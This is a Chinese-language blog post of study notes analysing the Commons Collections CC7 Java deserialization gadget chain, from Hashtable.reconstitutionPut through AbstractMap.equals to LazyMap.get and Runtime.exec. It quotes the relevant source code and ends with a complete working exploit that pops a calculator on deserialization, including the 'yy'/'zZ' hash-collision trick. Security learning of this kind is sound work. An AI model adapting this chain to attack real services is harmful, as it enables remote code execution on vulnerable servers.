0x01 写在前面
趁热打铁把CC7一起写了,今天逃物理课还被老师抓包了呜呜呜
0x02 CC7链挖掘
ysoserial官方Gadget chain
使用了两个新类,Hashtable,AbstractMapDecorator和AbstractMap,再到我们熟悉的LazyMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Payload method chain:
java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec
|
Hashtable
Hashtable序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| private void writeObject(java.io.ObjectOutputStream s) throws IOException { Entry<Object, Object> entryStack = null; synchronized (this) { s.defaultWriteObject(); s.writeInt(table.length); s.writeInt(count); for (int index = 0; index < table.length; index++) { Entry<?,?> entry = table[index]; while (entry != null) { entryStack = new Entry<>(0, entry.key, entry.value, entryStack); entry = entry.next; } } } while (entryStack != null) { s.writeObject(entryStack.key); s.writeObject(entryStack.value); entryStack = entryStack.next; } }
|
Hashtable有一个Entry<?,?>[]类型的table属性,并且还是一个数组,用于存放键值对
Hashtable在序列化时会先把table数组的容量写入到序列化流中,再写入table数组中的元素个数,然后将其中的元素取出写入到序列化流中
Hashtable反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int)(elements * loadFactor) + (elements / 20) + 3; if (length > elements && (length & 1) == 0) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); count = 0; for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
|
Hashtable会先从反序列化流中读取table数组的容量和元素个数,并根据origlength和elements计算出table数组的length,再根据计算得到的length来创建table数组,然后从反序列化流中依次读取每个元素,然后调用reconstitutionPut方法将元素重新放入table数组,最终完成反序列化
上面这些都是常规操作,重点在于最后调用的reconstitutionPut()
reconstitutionPut
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
|
reconstitutionPut()方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中
CC7利用链的漏洞触发的关键就在reconstitutionPut()方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals()方法判断key是否重复时就会触发漏洞
AbstractMapDecorator
AbstractMapDecorator是一个抽象类,但它实现了equals()方法,而且继承Map接口,同时也是LazyMap的父类
1 2 3 4 5 6
| public boolean equals(Object object) { if (object == this) { return true; } return map.equals(object); }
|
AbstractMap
链子中调用的是AbstractMap.equals(),同样的,AbstractMap也继承了Map接口,而且是HashMap的父类,我们后面会使用到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public boolean equals(Object o) { if (o == this) return true;
if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false;
try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; }
return true; }
|
其中调用的get()方法完成了LazyMap.gey()的链接
LazyMap基础exp
这部分是链子的末端,我就不过多赘述了
1 2 3 4 5 6 7 8 9 10 11
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer); lazyMap.get(1);
|
Hashtable进阶exp
Hashtable.reconstitutionPut()触发equals()的位置在:
1
| if ((e.hash == hash) && e.key.equals(key))
|
abstractMap.equals()触发get()的位置在
1
| if (!value.equals(m.get(key)))
|
也就是当我们控制Hashtable.key值时,就能控制abstractMap.m,从而调用其get()方法触发transform()完成命令执行
那么我们的链子就应该是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap,"gengar");
serialize(hashtable); unserialize("ser.bin");
|
先来分析一下前半段链子的执行过程
理想情况下Hashtable.readObjct()在执行reconstitutionPut()中的e.key.equals(key)时,key值是我们传递的lazyMap
但是LazyMap类本身没有equals(),因此调用的是其父类AbstractMapDecorator的方法,也就是:
1 2 3 4 5 6 7 8
| public boolean equals(Object object) { if (object == this) { return true; } return map.equals(object); }
|
AbstractMapDecorator类的equals()方法只比较了这两个key的引用,如果不是同一对象会则调用 map.equals()方法,map属性是通过LazyMap传递的我们在构造利用链的时候,通过LazyMap的静态方法decorate()将HashMap传给了map属性
1 2 3 4 5 6 7 8 9 10 11
| public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; }
|
因此这里会调用HashMap的equals()方法,但是同样的,HashMap也没有equals(),因此调用的是父类AbstractMap的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; }
|
不过,虽然是调用了AbstractMap.equals(),但是参数仍然是我们传递的lazyMap
在抽象类AbstractMap的equals方法进行了更为复杂的判断:
- 判断是否为同一对象
- 判断对象的运行类型是否不是Map
- 判断Map中元素的个数
当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容,虽然对象o向上转型成Map类型,但是m对象本质上还是lazyMap,因此m对象调用get方法时实际上是调用了LazyMap.get()方法,然后就是后半条链的命令执行了
最终exp
但是直接运行上面的exp没有完成命令执行弹出计算器,我们在Hashtable.reconstitutionPut()打断点调试分析

我们需要调用的 e.key.equal() 方法是在 for 循环里面的,需要进入到这 for 循环才能调用。
Hashtable 的 reconstitutionPut() 方法是被遍历调用的
第一次调用的时候,并不会走入到 reconstitutionPut() 方法 for 循环里面,因为 tab[index] 的内容是空的,在下面会对 tab[index] 进行赋值

不难看出在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals()方法,否则不会触发漏洞
当LazyMap调用hashCode方法,实际上会调用AbstractMap抽象类的hashCode方法
1 2 3 4 5 6 7
| public int hashCode() { int h = 0; Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) h += i.next().hashCode(); return h; }
|
lazyMap中元素的key值的构造就不细讲了,这里直接拿官方链子中已经构造好的"yy".hashCode() == "zZ".hashCode()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1 = new HashMap<>(); HashMap<Object,Object> hashMap2 = new HashMap<>(); Map lazyMap1 = LazyMap.decorate(hashMap1,chainedTransformer); lazyMap1.put("yy",1); Map lazyMap2 = LazyMap.decorate(hashMap2,chainedTransformer); lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1,1); hashtable.put(lazyMap2,1);
|
代码执行到这就会弹计算器,但是我们的目标是反序列化时再完成命令执行
原因在于第二次进行hashtable.put()时,会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素

例如Hashtable调用put方法添加第二个元素(lazyMap2,1)的时候,该方法内部会调用equals方法根据元素的key判断是否为同一元素
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public synchronized V put(K key, V value) { if (value == null) { throw new NullPointerException(); } Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for(; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } } addEntry(hash, key, value, index); return null; }
|
此时的key是lazyMap2对象,而lazyMap2实际上调用了AbstractMap抽象类的equals方法,equals方法内部会调用lazyMap2的get方法判断table数组中元素的key在lazyMap2是否已存在,如果不存在,transform会把当前传入的key返回作为value,然后lazyMap2会调用put方法把key和value(yy=yy)添加到lazyMap2。
当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞

这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对
最终完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1); decorateMap2.remove("yy"); serialize(hashtable); unserialize("ser.bin");
|
弹了两次计算器,说明反序列化时命令执行成功
0x03 小结
总算是挖完了CC1-7,正式迈入Java反序列化的大门,这只是Java安全的开始

参考
https://drun1baby.github.io/2022/06/29/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8708-CC7%E9%93%BE/
https://blog.csdn.net/qq_35733751/article/details/119862728